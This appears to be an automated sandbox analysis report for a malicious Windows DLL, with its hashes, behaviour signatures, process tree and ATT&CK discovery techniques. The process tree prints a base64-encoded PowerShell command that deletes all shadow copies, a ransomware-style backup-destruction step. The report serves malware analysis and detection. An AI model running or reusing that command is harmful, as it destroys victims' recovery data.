Analysis

  • max time kernel
    122s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:09

General

  • Target

    c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll

  • Size

    166KB

  • MD5

    f922ca753d760ac09a2fd146a7860991

  • SHA1

    ba8fefec76b4dab1cc162bf122db209b42667081

  • SHA256

    c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419

  • SHA512

    5cf090186c8417841fcdd342d7cecf54e64de938a5ed58329eb1b20b2dec25af87b6ed8dd974888cfd3bca4089878605439f7606067f318195225a5147d74e37

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\c07cde47d820a886eeda446ef5e8649f37a75d759be2de28950aa866ad7f7419.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:268
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1108
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1068

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/268-56-0x000007FEFB531000-0x000007FEFB533000-memory.dmp
      Filesize

      8KB

    • memory/268-57-0x000007FEF2920000-0x000007FEF347D000-memory.dmp
      Filesize

      11.4MB

    • memory/268-58-0x0000000002720000-0x0000000002722000-memory.dmp
      Filesize

      8KB

    • memory/268-59-0x0000000002722000-0x0000000002724000-memory.dmp
      Filesize

      8KB

    • memory/268-60-0x0000000002724000-0x0000000002727000-memory.dmp
      Filesize

      12KB

    • memory/268-61-0x000000001B6E0000-0x000000001B9DF000-memory.dmp
      Filesize

      3.0MB

    • memory/268-62-0x000000000272B000-0x000000000274A000-memory.dmp
      Filesize

      124KB

    • memory/1444-55-0x0000000075191000-0x0000000075193000-memory.dmp
      Filesize

      8KB